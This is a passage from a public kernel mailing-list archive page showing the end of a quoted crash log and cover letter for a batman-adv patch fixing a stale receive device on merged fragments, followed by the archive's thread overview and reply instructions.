> [ 234.454122] [ C0] krealloc_noprof+0x104/0x140
> [ 234.454146] [ C0] copy_array.constprop.0 (build/../kernel/bpf/verifier.c:1273 (discriminator 3))
> [ 234.454195] [ C0] copy_verifier_state+0x97c/0xea0
> [ 234.454209] [ C0] pop_stack (build/../kernel/bpf/verifier.c:1681)
> [ 234.454222] [ C0] do_check_common (build/../kernel/bpf/verifier.c:13620 build/../kernel/bpf/verifier.c:17654 build/../kernel/bpf/verifier.c:17789 build/../kernel/bpf/verifier.c:18804)
> [ 234.454241] [ C0] bpf_check (build/../kernel/bpf/verifier.c:3134 (discriminator 1) build/../kernel/bpf/verifier.c:19996 (discriminator 1))
> [ 234.454254] [ C0] bpf_prog_load (build/../kernel/bpf/syscall.c:3001)
> [ 234.454266] [ C0] __sys_bpf (build/../include/linux/rcupdate.h:839 (discriminator 1) build/../kernel/bpf/syscall.c:5591 (discriminator 1) build/../kernel/bpf/syscall.c:6299 (discriminator 1))
> [ 234.454278] [ C0] __x64_sys_bpf (build/../kernel/bpf/syscall.c:6361 (discriminator 1) build/../kernel/bpf/syscall.c:6359 (discriminator 1) build/../kernel/bpf/syscall.c:6359 (discriminator 1))
> [ 234.454290] [ C0] do_syscall_64 (build/../include/linux/entry-common.h:109 (discriminator 2) build/../include/linux/entry-common.h:147 (discriminator 2) build/../include/linux/entry-common.h:178 (discriminator 2) build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
> [ 234.454304] [ C0] entry_SYSCALL_64_after_hwframe (build/../arch/x86/entry/entry_64.S:121)
>
> [ 234.454326] [ C0] Memory state around the buggy address:
> [ 234.454337] [ C0] ffff88807cd19100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> [ 234.454348] [ C0] ffff88807cd19180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> [ 234.454358] [ C0] >ffff88807cd19200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> [ 234.454368] [ C0] ^
> [ 234.454378] [ C0] ffff88807cd19280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> [ 234.454388] [ C0] ffff88807cd19300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> [ 234.454397] [ C0] ==================================================================
> [ 234.454519] [ C0] Disabling lock debugging due to kernel taint
>
> -----END crash log-----
>
> Best regards,
> Zhiling Zou
>
> Zhiling Zou (1):
> batman-adv: fix stale receive device on merged fragments
>
> net/batman-adv/main.c | 4 ++++
> 1 file changed, 4 insertions(+)
>
>
[-- Attachment #2: This is a digitally signed message part. --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
prev parent reply other threads:[~2026-07-30 17:41 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-07-30 17:22 [PATCH net 0/1] batman-adv: fix stale receive device on merged fragments Zhiling Zou
2026-07-30 17:22 ` [PATCH net 1/1] " Zhiling Zou
2026-07-30 17:40 ` Sven Eckelmann [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=6702093.lOV4Wx5bFT@sven-desktop \
--to=sven@narfation.org \
--cc=antonio@mandelbit.com \
--cc=b.a.t.m.a.n@lists.open-mesh.org \
--cc=marek.lindner@mailbox.org \
--cc=martin@hundeboll.net \
--cc=sw@simonwunderlich.de \
--cc=vega@nebusec.ai \
--cc=zhilinz@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox